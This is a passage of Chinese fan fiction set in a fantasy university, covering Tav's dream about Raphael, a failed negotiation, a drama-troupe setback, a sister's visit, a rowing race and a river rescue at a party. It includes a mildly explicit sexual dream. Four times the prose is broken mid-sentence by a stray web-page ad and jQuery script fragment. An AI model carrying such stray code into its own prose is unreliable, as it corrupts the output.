是这个原因吗?拉斐尔会对她们这种背景的产生兴趣,是因为他不会经历这些压力,所以想观察她们? 不,这相似一定只是意外,毕竟那只是他“交往”的女生的其中之一。 拉斐尔对他之外的世界恐怕既不感兴趣又充满轻视,哪怕有兴趣也是高高在上地俯视。 而她只是被意外牵扯进一个交易,等明天这件事结束,她不会再与拉斐尔有任何交集。 . 如果没有梦到拉斐尔的话,塔夫会评价这天晚上的睡眠质量很不错。 她偶尔会做这种梦,不过梦里的人总是面目模糊。 这次一开始其实也是如此,她只能看到对方干净利落的肌肉线条,没有赘肉的有力身体。而大约是受影心有服务意识那番话的影响,梦中这个的家伙只专注于取悦她。 那是一种亲密而自信的温暖,像一股暖流,却带着清爽微苦的气息,将她整个环住。在那温和中,又有细密而轻柔的爱抚,同湿润柔软的唇舌一起,沿柔滑曲线向下。 感官慢慢集中向一点,她感到放松,等待暖流汇成幽深的巨浪,将她高高卷起。 在浪花击碎成一大片雪白时,她情不自禁地抓紧对方头发,直到潮汐回落,才发现指间柔软的头发被她抓得有些蓬乱。 然而,梦到这里仍没有停止。 不需要再继续下去了。 她更用力拽住对方头发,成功抬起那人的脸。 她看到一张英俊到发光的面孔,唇角垂着晶亮水痕。 明明应该是令人脸红心跳的场景,她的第一反应却是问他, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 他是谁。 她拽他头发拽得大概有些狠。那人眼睛里浮上慌乱的湿意,脸颊在自己的注视中染上艳色,连脖子都烧得通红。 那是拉斐尔。 塔夫不愿意接受现实般地慢慢睁开眼睛,盯着天花板,一动不动。 这是发生了什么? 为什么会梦到拉斐尔? 也许这一切都是哈勒普搞的鬼。谁知道梦魔有没有这种能力。 当然不可能是因为她喜欢他。 所以,果然还是因为拉斐尔那张脸吧。 . 拉斐尔猛地睁开双眼。 太过真实的梦。 每一个细节都如此完美。 他知道这是梦,却还是忍不住以为那是真的。 最开始只有一双眼睛。 明亮而又莹润的深褐色瞳孔,神情活泼蓬勃,情绪真诚直接。惊讶的,疑惑的,嘲弄的,微笑的……真是双漂亮的眼睛,浓密的睫毛像是蝴蝶翅膀,笑起来的时候还会轻轻颤动。 如果蝶翼沾上露珠,又会是怎样一番景致。 他看到眼瞳变得雾蒙蒙的,有些迷惘,有些难过,但看上去却依然生动。他忍不住伸出手,想要去摸摸那双眼睛。 蝴蝶振翅,眼睛忽然有了主人:秀气的眉毛,挺翘的鼻子,小巧精致的下巴,比眼睛颜色稍浅一些的栗色浓密长发。 不是他见过的最漂亮的面孔,但哪怕他带着挑剔的目光来看,因为那双眼睛透出的神气,整张脸也显得大方聪颖,惹人喜爱。 然而,主人正愤怒地瞪着他,质问他在做什么。 这是他的梦,他可以做任何事。 而且,她说过她一直在等着他。 他的手指继续向前,那双眼睛里却冒出火苗,忽地将他指尖点燃,下一瞬便已烧向全身。 而现在,他明明已经醒了,却觉得自己仍在燃烧,仿佛血管中流淌的不是血液而是滚动的岩浆。 拉斐尔深深喘出一口气。 门在这时被敲响。 “我能进来吗?”哈勒普的声音懒洋洋响起,“按你说的找到些关于塔夫的事。”他笑眯眯推开门,眼睛一下睁大,“哦!我的!九!狱!啊!” 拉斐尔像是才意识到发生了什么,坐起身,又低头看向自己的双手。 皮肤变成了赭红色,指甲是一片片漆黑。 不需要镜子,他也知道自己的眼睛一定竖成了金色兽瞳,额上长出弯曲的粗大山羊角,身后生出带着筋膜的蝠翼,臀后延出一条结实的长尾。 他变成了魔鬼的样子。 拉斐尔只觉得血管中的岩浆滚动得更厉害,甚至连眼角也跟着抖了几下,重新发出一声低喘,暗哑得让他自己都吃了一惊。 “发生了什么?”哈勒普口吻轻佻起来,“做春梦了?” “是噩梦。” 拉斐尔胸口微微起伏,但脸上不见狼狈,只有恼火。 “那一定是非常可怕的噩梦。”哈勒普已经换上一副兴致缺缺的表情。 只有强烈的情绪和反应才会让拉斐尔失去人类的模样。他可是梦魔,对恐怖故事一向敬谢不敏。 哪怕哈勒普想知道,拉斐尔也没兴趣描述那梦境。 他认出了那张脸。 是塔夫。 居然在他的梦里还拒绝他。 居然让他没办法控制自己。 居然能影响他到这种程度。 重新变回人类,拉斐尔眼里的金色却烧得更厉害:“关于塔夫,你找到了什么?” . 8. 谈判 塔夫不想让昨晚的梦影响到自己,但再次见到拉斐尔时还是有些尴尬。 这对接下来的谈判可没什么好处,还没开口,她就已经有点恼羞成怒的意思。 不知道算好消息还是坏消息,拉斐尔看上去心情也不怎么样,像是刚睡醒不久还带着起床气。 但他的衬衫是仔细熨过的,头发也经过精心打理。除了长着同一张脸,他和她梦里的那人只能说是完全不同。 不过两天,这已经是她和拉斐尔第三次见面——但愿是最后一次。 地点仍在盖尔教授的办公室,塔夫先到。拉斐尔来时她没有起身,像是面对学生那样,请他在桌子对面坐下,得到还算礼貌的回复“不必了”。 一次不算成功的交锋,她没有拿到主导的身份。拉斐尔则停在桌侧,离她几步远。这意味着,接下来她看他需得一直仰着头。 塔夫不喜欢这种感觉,但这个时候再站起来却有些奇怪。她一时只肯平视面前,不去看拉斐尔,沉默片刻,又鬼使神差地问他: “昨天晚上睡得怎样?” “和你没有关系。”拉斐尔语气明显不客气起来。 这个回答倒是意料之中,塔夫莫名觉得这可以算是一个好的开始。 她又问:“哈勒普是传说中可以出现在别人梦中的,呃,生物吗?” 这次,拉斐尔没有回答。塔夫仰起头,见他一脸匪夷所思,解释道:“因为我从没有见过像哈勒普那样的,特别的……” “他是梦魔。”拉斐尔说。 “是的!梦。”塔夫觉得自己抓住了重点。 “不是魅魔。” “?” “所以他不能。” “……” 拉斐尔仿佛是忍着不耐向她解释一个常识——实际上正常人都不会知道。 塔夫得到答案,心情复杂。 坏消息,她真的是被美色侵蚀,梦见了拉斐尔。 好消息,她验证了一个谈判技巧:一个人很难连续拒绝对方两次。 她决定闲谈已经足够,可以切入正题了。昨晚她想到一个提议——双方各退一步,但其实主要是她退到自己可以接受的那条线,且不需要拉斐尔做任何事。 不过在正式提议之前,她会先提出一个困难的要求,然后再提出那个容易些的底线,这样就能被更轻松地接受了! 塔夫清了下嗓子,正准备狮子大开口,拉斐尔却继续刚才的话题:“为什么问这个?” “没什么。只是好奇。”塔夫抱起手臂,“我觉得我们可以开始谈正事了。” “你昨晚梦见了哈勒普。”拉斐尔挑下眉,用的是肯定句,语气则愉快起来。 “没有!”塔夫立刻否认。 拉斐尔凝望她,仔细观察她的表情。 塔夫坚定回视,因为她已经确定自己梦到的是拉斐尔:“我绝对没有梦见哈勒普。” 拉斐尔似乎判断她说的是真话,没再追问下去,眉毛却轻轻锁了起来,口吻也重新变得直接强硬:“告诉我你的价格。” 塔夫暗松一口气:“关于你说的一切都‘没有发生’,也许我们可以谈谈……” “不。我们不会‘谈谈’。” “这是什么意思?” “我问你的价格。你给我一个价格。” “是的,我现在正在和你商量‘价格’或者说谈判。” “你认为我们之间可以谈判?” 至少他这次没有区分“你”和“我”,这大概算是一个进步。塔夫做了个深呼吸: “让我来唤醒一下你的记忆。你昨晚问我想要什么,而我想要谈谈这件事,包括威尔在其中扮演的角色。” “你混淆了一些事情。”拉斐尔走近一步,更明显地俯视她,“这个交易是,你接受我的要求——保持安静,再提出你的价格,由我来决定是否同意,或何种程度上同意。” “等等。什么?”塔夫忍了忍,“这和我理解的可不太一样。” “那么,你的理解是错的。” “所以我在这个‘双方’的交易里能做的是什么?全部听从你的?对最后的决定没有任何影响?” “我很惊讶。你真的认为,‘你’可以影响‘我’?” 这算是该来的总会来吗?塔夫听到这熟悉的轻蔑,气得使劲眨了下眼睛。她真的试过了,可是别说使用谈判技巧,对方甚至连让步本身都拒绝讨论: “是,‘你’是特别的。”她猛地站起身,很有气势地盯着拉斐尔,“我一直克制着不想说脏话,但你,你真的令我感到‘特别’恶心!” “注意你接下来的措辞。”拉斐尔表情柔和下来,“冷静些。” 塔夫却更气愤:“‘你’是贵族,‘我’是普通人。但你知道我和你最大的不同是什么吗?我不会傲慢地以为,我可以替别人做出决定,决定什么是更有利的,什么是更理智的。” “我在帮助你。每一个决定,都会产生相应的后果,你应该并不想……” “省省力气吧!大惊喜!我知道自己不是完人,不会去追求那种道德上的无暇,更不会以此评价别人。如果你还想用昨天那套话来让我愧疚,我很遗憾地告诉你,我不会再被你操纵。事实上,我不想和你有任何接触。” “听上去,你并不准备继续交易了。” “你居然听到了!我以为你只能听见你自己那自大傲慢到能把你本人都震倒的声音,除此之外其他什么都听不到呢。” “有意思。”拉斐尔露出一个类似欣赏的微笑,“我会很快再见到你。毕竟,赛艇队的公开日程并不难找到。” 和上次一样,他干脆离开。 塔夫目送拉斐尔背影施然消失,心脏却继续越跳越快,过了好一会才慢慢恢复正常。 她释放了愤怒,却没有得到预料中的反馈,仿佛演了一场独角戏,唯一的观众留下一句评价后便转身离场。 而她想要表明的态度,在他看来只是一件有意思的事,最后更暗示她会主动去找他。 他为什么认定她会改变主意会后悔?她又没做错任何事。 . 塔夫不想被这件事牵扰,但仍有疑惑一直若有若无地悬在头顶。 直到下午,剧团春假第一次的集体排练,唯二的男演员都没有到场。 与他们同一学院的阿尔菲拉,跑了好几个地方才终于找到他们 他们既没有生病,也没有任何紧急或特殊情况,而是决定退社。这当然也意味着,他们会退出已经排练了小半个学期的这出剧。 “太不负责任了!”菲拉回来时气喘吁吁。 她是位漂亮的提夫林姑娘,拥有一种艺术家的忧郁浪漫气质,但其实性格很率直。此刻,她浅灰色皮肤和灰粉色头发都带着汗意,怒气冲冲道,“两个叛徒!” 她的词典里仿佛只剩下这几个词,在喘气的间隙里零星蹦出来。 塔夫却像是听到第二只靴子落地的声音。 尽管如此,她还是问:“为什么?” “哈?”菲拉眼睛睁大,“我为什么这么说他们?这不令人生气吗?” 塔夫忍不住笑了下,又立刻在菲拉愤怒的视线中抿住唇,轻咳一声:“他们退社的原因是什么?压力太大?时间安排问题?还是有什么其他不愉快的地方?” “我居然没有说?”菲拉气得又说一句叛徒,“他们俩加入戏剧社了!在跟他们排练呢!” 周围一片惊呼,还夹杂些艳羡。 “被戏剧社挖走了?” “这么突然?戏剧社现在缺人?” “没听说啊。别这么看我,你不是也一直关注戏 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 剧社招人的情况嘛。” “他们俩演技也没那么好吧!” “能演歌舞的男生毕竟还是少,所以抢手咯。” 塔夫更加肯定这是拉斐尔的杰作。 屋顶上的猫其实可以算是戏剧社的备用人才库,借人的情况时有发生。 这关系从来是单方向的,而且往往是借道具组——他们在屋顶上的猫有更多创作自由和尝试新点子的机会,反而更愿意待在小剧团。 至于演员,恐怕都想和更优秀更专业的人演对手戏。 塔夫不赞成他们的处理方法,然而某种程度上却能理解他们的决定。 嘈杂不安中,一个人问出很多人心中的问题:“我们接下来怎么办?” “总有办法的。”塔夫提高声音,“我们会想到解决办法。” 她望了菲拉一眼,又说, “今天的话,排练照旧,十分钟之后开始。他们两个的部分,先暂时由我和菲拉来念台本。” 这次排练所用的场地需要申请,可不能浪费。 塔夫看上去很沉着,像是已经有了具体方案和计划。 团员又聊几句,各自去做准备。 排练自然没有以前那样顺利。 除了演员们有些分神,菲拉是导演,塔夫是舞台监督——虽然不是演员,却都是保证演出顺利的重要角色。此时都一心二用,塔夫拿走男主角的戏份,给菲拉更多时间指挥,但还是频频出现失误。 在气氛变得更加沮丧前,塔夫叫停:“今天先到这儿吧。” 她又鼓励几句,菲拉也说了两三句俏皮话,最后让大家提前回去休息。 菲拉和塔夫一起留在最后,帮灯光和道具组整理归拢。 菲拉捧起被她们一半真心一半玩笑地称为“宝贝”的特别灯泡,打趣说:“还好走的只是两个男演员!而不是我们的宝贝。” 她格外夸张地仔细合上箱子,惹得几个人都笑起来。 最后只有她和塔夫两人在时,菲拉没再维持轻松表情:“所以,这是怎么一回事?” 尽管还没有证据,但塔夫已经确信,这是因为她同拉斐尔的交易告吹。她心里歉疚,抿了抿唇:“为什么这么问?” “你看上去并没有特别惊讶。像是已经预料到会发生这些。” “我的确没那么惊讶,但我不知道具体会发生什么糟糕的事,你相信我吗?” “当然。”菲拉立刻说。 塔夫反而愣了下。 “尽最大的努力,做最坏的打算。”菲拉说,“你知道我一紧张就喜欢去想坏结果,所以我其实也一点不吃惊。而同时我也知道,你花了多少时间和精力在这出剧上。” 她最后笑起来,“不过既然我是导演,是指挥一切的人,你就继续替我干活解决问题吧!” “我是剧团团长,是指挥导演的人。”塔夫跟菲拉斗嘴,却有些鼻酸。 如果菲拉当初和她竞选团长,她其实并没有非常大的把握获胜。她忽然发现——也许她早就知道,她对剧团的投入,不仅仅只是为了拿到一封推荐信。 塔夫垂下眼,像是在解释什么:“我是真的很希望,这出剧能够成功。” 菲拉:“我比你更希望,至少多三倍。” 塔夫:“那我是你的五倍。” 菲拉:“你可真够幼稚的。” 塔夫:“……” “别太难过。”菲拉笑着拍拍塔夫手臂,“就像你说的,总会有办法的。” 塔夫心里一暖,也笑着点点头:“嗯。” “你已经想到什么办法了吗?”菲拉又问,“看上去,你知道下一步要怎么做了呢。” 相同的一声“嗯”,但塔夫表情带上无奈,忍不住叹口气, “我会试着跟……谈谈。” . 9. 姐妹 “你要跟他们两个谈谈?” 菲拉语气一下变得小心翼翼, “我之前找到他们的时候,把他俩臭骂了一顿。可能,不太算是帮忙。” 塔夫佯装心如槁木:“事情变得困难起来了。” “我和你一起去?”菲拉犹豫问,“跟他们,道歉弥补一下?” “你又没做错什么,为什么要道歉?” 塔夫立刻恢复,语气非常坚决,“放心交给我。” “好,我就不去帮倒忙了。”菲拉说完又飞快补充, “如果你需要其他帮助,尽管同我说!” 塔夫抬起手装作要呵她痒:“不要这么明显得松一口气!你说了他们俩什么?” 菲拉笑着躲开:“不好重复给你听。只能告诉你,我骂得可是非常痛快!” . 塔夫之后有兼职,在校外小镇上的一家餐厅,提供免费员工晚餐,便同菲拉道别。 这天晚上餐厅生意不算忙,九点左右的时候,就只剩最后两桌。塔夫和另一位侍者姑娘对视一眼,都猜测今天可以提前离开。这时,门前风铃一响,又来一位新客人。 那是位提夫林,身材高大健美,皮肤颜色如同燃烧的火焰,但从额上伸出的弯曲长角断了一根。 塔夫迎了上去:“卡菈克!?” “嗨!小锡兵!”卡菈克声音和笑容都暖洋洋的。 “你怎么会在这儿?”塔夫也止不住笑意。 这可真是一件令人高兴的惊喜,她现在非常需要这个。 侍者姑娘凑到塔夫跟前:“你有事就先走吧。我一个人没问题。” “这……” “你又不是没有帮过我!” “那就早点走。不过小费下次才能一起结给你。”经理也给了许可。 “那就太多谢你们啦!”卡菈克先道谢起来。 塔夫也连忙跟着说谢谢再告别,在卡菈克身后刚走出餐厅,就被她单手紧紧搂住。 “居然瘦了?”卡菈克不满,“可别为了漂亮或者省钱不好好吃饭!” “卡菈克!别这么用力。” 被放开后,塔夫又立刻笑着挽住卡菈克手臂,“没有。我昨天晚上还吃了两份主菜!” . 卡菈克送塔夫回学校,没走几步就收到一连串问题轰炸: “你最近身体怎样?农场怎么样?妈妈怎么样?邻居呢?这个人那个人还有其它人呢?你怎么会来这儿?” “天啊,你慢点。”卡菈克笑着一个一个回答, “我很好,你也瞧见了。农场的话,草莓已经开始挂果子,又得开始防兔子、松鼠、和邻居大叔明斯克的仓鼠宠物小布了。至于妈妈,唔,妈妈想要爬上屋顶。” “什么!?妈妈她……” “逗你的啦!哈哈!哈哈哈!这还是你说给我们的笑话。” “这玩笑可不是这么开的啊!” “哎呀,哪怕妈妈听了,她也只会比其他人笑得更开心。好吧好吧,实际情况是,她想爬但是没成功,最后是明斯克爬上了我们的屋顶。字面意义上的。而且屋顶也没什么事儿,是屋檐的排水槽被堵住了。估计是去年的叶子没有清理干净。前一阵子下大雨,把那些烂叶子都冲成一堆,就堵了。” “好严重!” “没有没有,我出发的时候已经解决啦。唉,我和你说这么详细干嘛,白惹你担心。我是来看你的,你最近怎么样?” “我要听你说!”塔夫立刻撒娇。 …… 塔夫和卡菈克都是孤儿,被贾希拉收养,一起在农场长大。虽然没有血缘关系,但三人远胜亲人。卡菈克年龄比塔夫大七八岁,是姐姐。 自念大学以来,塔夫只有寒暑假才能见到姐姐和妈妈,又因为路途远,在家里最多不过两个月。 大都市博德之门在博得安大学以西,冲萨河下游的入海口处,骑马快一些的话只要几个小时。农场则在大学更东面,哪怕不休息一直走,骑马也需要至少七天。 回家时,塔夫通常会先去博德之门,再乘船到离农场最近的镇子上。所需时间更短,路途也更轻松,只是也要贵一些。 “没必要在这种地方节省。”这是卡菈克常常对她说的。 此时见到卡菈克,塔夫恨不得挂在她身上:“细节越多越好。” “真拿你没办法,都是成年人了,还和小时候一样要听故事。”卡菈克揉揉她头发, “诶,你说我们还来得及回你刚才的餐馆要杯水吗?我讲得有点口渴。哎呀,别真的回去,我还是开玩笑的!我们明明都已经看到你的宿舍塔楼的塔尖啦。小锡兵,你一直这么好骗可不行啊。” “那是因为卡菈克你!你真是……简直太可恶了!” 学生宿舍不许外人进,塔夫便捧了一只杯口几乎有半张脸那么大的陶杯。影心也跟着一起下来和卡菈克打招呼。 “还多带了一个听众给我?外人听可是要收费的哦。”卡菈克朝影心扬了下眉,“不过漂亮可爱的姑娘不用。” “你可别贫嘴了!快喝水吧。影心漂亮是谁都能看出来的。” “谢谢。塔夫总是说起你有多棒,卡菈克你还缺妹妹吗?”影心喜滋滋问。 “天啊,你也来?” 影心到底没有多打扰塔夫姐妹团聚,说笑几句便把空间重新留给她们二人。 卡菈克这次来,其实是替另一位邻居婆婆送私人物件去博德之门——婆婆不放心别人。卡菈克本就打算来看看塔夫,又正好听到有家商行要运几箱橄榄、柠檬、青柠、香橙之类的东西去博得安大学附近,还顺路接了一份临时差事。 “怎么不写先封信给我?”塔夫有些埋怨,“我可以提前请假。或者,如果我今天不在那里兼职,我们没有遇到呢。” “那我就来宿舍找你咯,然后,吼一嗓子!总是有办法的嘛。”卡菈克捏捏塔夫眉心,“而且我也才送完东西不久,这个时间刚刚好。” “你还要再回博德之门一趟交差?”塔夫心疼她怪辛苦的,“干脆坐船回去吧。我知道有一位船主,人很好。” “我和另外几个提夫林约好了马车。回程会经过一个镇子,有同一家商行的分铺,我在那里也可以拿到佣金。好啦,别替我担心这些啦,我才是姐姐。” “还不都是因为你没告诉我这些。” 虽然还想和卡菈克多待一会甚至几天,但塔夫既然知道她有其他伙伴和计划,也不愿她太晚还在路上,只好恋恋不舍同她道别。 至于自己遇到的那个小麻烦,塔夫决定暂时没有必要告诉姐姐,等解决之后再当成笑话说给她听。 “照顾好自己,小锡兵。”卡菈克最后笑着搂搂她,“我看着你上楼。” . 塔夫飞快跑上楼,直到再也看不到卡菈克,这才从窗边离开。 影心忍不住逗她,知道卡菈克来这里的原因后,又猜测: “是为明天的派对做准备吧。这附近可没有别的地方能消耗这么多东西,还都是调鸡尾酒的材料。” 塔夫瞥她一眼:“是谁说的,明天只有淡啤酒?” “酒水升级,快乐加倍。”影心笑道,“毕竟春假真的很无聊嘛。很多人都想去,赛艇队也就响应了大多数人的呼声。” 这倒是让塔夫从和卡菈克见面的喜悦中稍稍抽身,不得不重新思考一些不那么令人愉快的事。比如,想办法和拉斐尔见一面。 今天他离开前,最后那句话的意思可以说是相当直白了。 “我明天和你一起去看比赛,还有之后的派对。”塔夫说,并立刻阻止了影心继续聊昨天没有聊完的拉斐尔,表示自己今晚不是很想听到这个名字。 她被影心看得有 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 些发毛,又问:“你干嘛这么看我?” 影心清了清嗓子: “忽上忽下,忽喜忽忧。 “想要靠近,却害怕听到他的消息。 “心情变化,原来都是爱情的捉弄。” “才不是这样!一点关系都没有。”塔夫又好气又好笑,“别乱改乱用我们的台词!” “多贴切。而且,如果你不想听到拉斐尔的名字,”影心笑得很是得意,“明天可要记得带耳塞。” . 影心说得果然没错,不过是另一种理解上的没错。 第二天,冲萨河边沸反盈天。不到下午三点,赛艇队还没有影子的时候,庆祝就已经开始。因为在校园里,暂时没有酒精,但塔夫觉得不少人都举着的红色杯子中,大概率不是果汁。 原本晚上才会出现的乐队也提前来现场表演。更有法师用法术放大声音,加强效果,保证在场的每一个人——就算是带着耳塞,也一定可以听见音乐。 影心找到一个看比赛的好位置,同时也是听音乐的“好”位置。这直接导致,哪怕塔夫和她几乎贴在一起,也必须要提高好几十个分贝,才能听清对方在说什么。或者,还是听不清。 “你刚才说什么?”影心大声问。 塔夫扯着嗓子喊:“赛艇队在哪里下水?” 影心:“你要回去拿手提袋?” 塔夫:“赛艇队!” 影心:“这棵树!好的!我等你!” “你根本听不清我在说什么是吗?”塔夫最后无奈嘟囔。 影心笑着点点头:“没问题!快点回来!” 塔夫:“……” 当音乐声似乎小了点时,她双手拢成喇叭,最后一次尝试,“赛艇队!” 几个学校的赛艇队提着船,陆续远远出现在河对岸的上游。 周围人一起大声欢呼:“赛艇队!博得安!冲啊!” 影心也跟着高喊起来:“哈尔辛!加油!” 塔夫:……算了。 毕竟他们是在对岸下水,她得绕到桥那边才能过河。等她赶过去后,比赛说不定都结束好久了。 而比赛结束后,派对会一直持续到明天早上,她还有很多机会。 . 这次比赛只有四人单桨,每个学校出两支队伍,一共八只赛艇。 隔着河,塔夫第一个找到的是哈尔辛,毕竟他个子最高。此外,和其他身材修长的队员不同,哈尔辛块头相当大——赛艇运动员一般需要保持体重,从而减轻船的负重。 托哈尔辛的福,塔夫在一群穿着打扮差不多的运动员中定位到拉斐尔。这个距离她其实看不清对方的五官,但很肯定那就是他。 虽然找到了也没什么用,她视线仍是追随他坐上四人艇的第二个位置。那艘赛艇主体漆成金色,又用猩红色斜画出三条平行细线。船身窄而薄,只有一人宽,吃水也很浅,看上去一不小心就会翻在水面上。 乐队停止演出,音乐声变成一片有些沉闷的嗡嗡声。 感觉等了好久,直等到太阳开始落下,才终于传来一声清脆的笛音,接着是片刻安静,又迅速被呼喊打气声填满。 冲萨河上,桨叶有节奏地拨动,船艇轻盈滑过水面。船上几人动作流畅而优美,雪白的水花在他们身周溅起又落下。 金色赛艇第一个冲过终点,艇上四人扬起双臂,被落日镀上一层温柔的金色。船周,冲萨河是一片燃烧着的流动的金色。 满目璨金中,塔夫想起两天前和拉斐尔第一次见面的时候,又像是忽然能够领略这运动的迷人之处。 “喔!” “耶!” 欢呼声和笑声起伏,影心在塔夫肩上拍了下:“看入迷了?” 她又笑着指指已经开始移动的人群, “走,去派对了!” . 10. 派对 派对主场地是一栋巨大的三层宅邸,坐落在冲萨河旁。 室内音乐声更加震耳欲聋。幸好塔夫提前问过影心,并得到肯定的答复:哈尔辛和赛艇队今晚一定会来这里。 其实,她更希望能在派对之前——最好是比赛之前,同拉斐尔见一面。毕竟派对现场可算不上一个好的谈判地点。 . 她也的确这么做了,这天一早上便找去赛艇队。 不过她没有预料到的是,赛艇队的场地,哪怕是在校园里,仍是俱乐部私产,都是成员专用,不许外人随意进出。 那是栋相当大的花岗岩建筑,在冲萨河边,远远望去简直像是一个庄园。 塔夫最近也只能走到庄园的黑色铁艺大门前,那里守着好几位配剑侍卫。 “我找拉斐尔。”塔夫觉得自己声音听上去非常沉着,“为了一件严肃的事。咳,我是说,我和他有一个交易要谈。” “大部分人都这么说。”侍卫扫了她一眼,“你不在名单上。预约是必须的。今天请回吧。” 想不到学校里居然还有这么一个地方,比实验室和法师塔还要严格。 不过塔夫没放弃,绕到河边,看到赛艇队似乎早已经开始训练,又兜回大门。 一来一回花了半个多小时,大门那里多出一位姑娘,身材高挑,五官明艳,正拍着一匹灰色骏马的肩膀。能在校园里养马骑马的多是大贵族或大商人家庭出身,那匹马看上去更是纯种的安达卢西亚马,但那姑娘却也下马等在大门外。 塔夫走上前同她攀谈起来: “不预约就无法见到赛艇队的人,但见不到赛艇队的人又无法预约,这可真是个死循环。” 姑娘唇角勾了下,转过身瞧她:“哪怕有预约,也还是需要在这里等。” “为什么不能直接骑马进去?” “这是为我们考虑。”姑娘挑起眉,“赛艇队只有男生。他们训练起来的时候,”她说着摇摇头,一副不大赞同的表情,“没有人还能记得,有一种名为衣服的东西存在。” 塔夫抿抿唇,忍着笑:“可你的眼睛里是大写的兴奋。” 姑娘矜持地清了下嗓子,短脆地回答:“那当然。” “噗。”塔夫伸出手,“我是塔夫。” 一只戴着麂皮手套的手轻轻握住她的又立刻松开:“米佐拉。” 塔夫眼睛微微睁大,她听说过米佐拉,也是一位贵族,没想到在这种情况下第一次见到本人。 她正思索着是否、以及如何开口提出请求时,米佐拉直接说:“我也只是俱乐部的客人,无法再带一位女伴。但我可以帮你问问看,你想见的那人是否有时间。” 塔夫犹豫了下,答说:“谢谢你,不过不用了。” 米佐拉理解地笑笑,塔夫反而有些不好意思。正巧一位男侍来邀米佐拉进入庄园,塔夫便同她道别离开。 马蹄声远去后,塔夫回过身,有些后悔刚才没有说哈尔辛的名字,又很快把这个想法丢开——哈尔辛在赛艇队但不属于俱乐部的核心成员,或者说不是兄弟会的兄弟。而且,还远远没到需要找影心以及她的朋友帮忙的时候。 塔夫决定还是按拉斐尔所说的“赛艇队的公开日程”去找对方。 事实上,这恐怕才是拉斐尔的计划,或者是自然而然的表露:他和她隔着很远的距离,不是她想见就能见的。 但是塔夫倒没觉得自己白来一趟,米佐拉提醒了她,这件事还有一个重要的角色,另一位贵族——威尔。 塔夫想起威尔当时羞愧的表情,认定找他问问准不会有坏处,这其实也一直是她想要做的。只不过那天晚上以及昨天一天发生太多事,再加上剧团的意外来得过于突然,她把大部分注意力都集中到了拉斐尔身上。 也难怪影心会以为她对他有意思。 . 塔夫看到影心又拿起一杯鸡尾酒,皱了皱眉:“已经第四杯了?我们来这儿才一个小时吧。”而且她们都只随便吃了点奶酪、橄榄和腌肉之类的冷食垫肚子。 影心手一僵,立刻装作听不清:“你说什么?” “别喝那么快。一个小时一杯才勉强算是健康!”塔夫哭笑不得,捉住她的手,“跟我去外面转转!” “一杯不喝才是不正常呢,医生!”影心撇撇嘴,“你现在可能是唯一一个清醒的人!这多尴尬!”虽然如此,她还是乖乖被塔夫拉到后院。 后院一块长方形的草坪,斜斜向下一直延到冲萨河边。河面在月光下波光粼粼。稍远处的河边,是一个由大概十来块松木板搭成的码头。从码头开始铺出一条石子路,伸向另一栋小很多的二层房子,似乎是这栋大宅的附屋。 室外,音乐声终于没那么震耳,但人一样的多,甚至比屋里更挤,每个人看上去都有几分快活的醉意。 “什么时候才会放烟花?” “好像在等赛艇队,听说他们教练一向特别啰嗦。” “赢了也要说教?他们一会儿不会是要划着船喊着口号过来吧?” “我进去也帮你们拿一杯?都要什么?” “博得安巨炮!爱你!” “方冰威士忌!谢啦!” “我看到法师的尖角帽了,在对岸。烟花应该马上要开始了!” “那我们快去河边!” “走,走!” 咻—— 碰! 金红两色光点接连升空,炸成一朵朵灿烂烟花,照亮一整片河。 塔夫眼前一晃,在人群里看到一个有几分熟悉的身影,连忙对影心说:“我们也去河边!” “这里也能看。”影心慢悠悠反应过来,“你是要找赛艇队?” “是我课上的一个学生!” “饶了她吧。现在可是春假。” 好像是威尔。塔夫有些着急:“我过去看看,要是走散了一会后门见。” “等等我!”影心还是跟了上去。 一个人推着一个人。屋里的人往外面挤,屋外的人往河边拥,都想要找到最好的位置。塔夫猛地发觉不妙,勉强站住,身边已经有人沿着河岸直接坐到了草坪上。 “给我也腾个位置!” “喂!我的裙子!小心你的酒!” “别挤了!” “前面明明还有地方的嘛。” 哗啦—— 落水毫不意外地发生了。 “好凉!” 扑通。咕咚。 落水一个接一个地发生了。 “哈哈哈!哈哈哈哈!” “可恶!快把他也扔下来!” “啊——!” “冷死我了!你们这群混蛋给我等着!” “别泼我!是他!” 影心跟着笑得前仰后合。 塔夫满脸无奈,但也有些好笑,真是一群醉鬼。 “救,救命!” “你听到什么没?” “嗝——!诶?我的酒杯呢?” “救……咕噜……命……” “哈哈!你拿着谁的手在啃?哈哈哈!” 塔夫一下竖起耳朵,在又一轮烟花下找到那个明显慌张的身影。 一群醉鬼!喝酒真碍事!塔夫心里暗骂。 “帮我看着鞋!”她冲影心喊一句,也转身跳下河。 “漂亮!”一个人吹响口哨,“十分!满分!” 影心拎着鞋子,终于后知后觉地喊出声:“塔夫?塔夫!” . 水可还真是够冷的。 塔夫打了一个激灵。 而且没想到这离岸上有一段下落距离,恐怕没办法原路爬回去。塔夫飞快辨认码头方向 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,又迅速朝“救命”声游去。 她很快就游到那人身边,而且确认自己没找错人。因为对方扑腾得厉害,劈手狠狠打在她脸上。塔夫被砸懵了几秒,才喊:“别乱动!” 这是个男生?声音居然这么尖利? 他块头和力气明显比自己大,再加上酒精的麻痹和溺水的慌张,她一个人恐怕没办法施救。 眼见他又一胳膊抡来,塔夫连忙潜下水闪躲,却还是被结结实实再拍一掌。哪怕知道对方不是有意,她仍忍不住骂了一声“笨蛋!”,游出他手臂范围,这才朝最近一人喊:“快来帮忙!你!就是你!” 她继续提高声音:“救命!有人落水了!这里!这儿!救——啊?!” 她的长发在水面漂起。溺水者慌乱中捉到后立刻死死抓紧,居然又扑腾着到她身边,毫无章法地拍水时,连着把她一起朝向水下按拽。 “塔夫!塔夫!” 塔夫听到影心的声音,心里懊恼。几次挣扎不成,懊恼中又添了后悔和恐慌,她怎么大脑一热就跳下来了。 这些醉鬼! 塔夫只能勉强踩水,抓紧每一次呼吸的机会。 不知过了漫长的多久,又似乎只是几次呼吸,终于,有人扯开了她们这两个倒霉蛋。 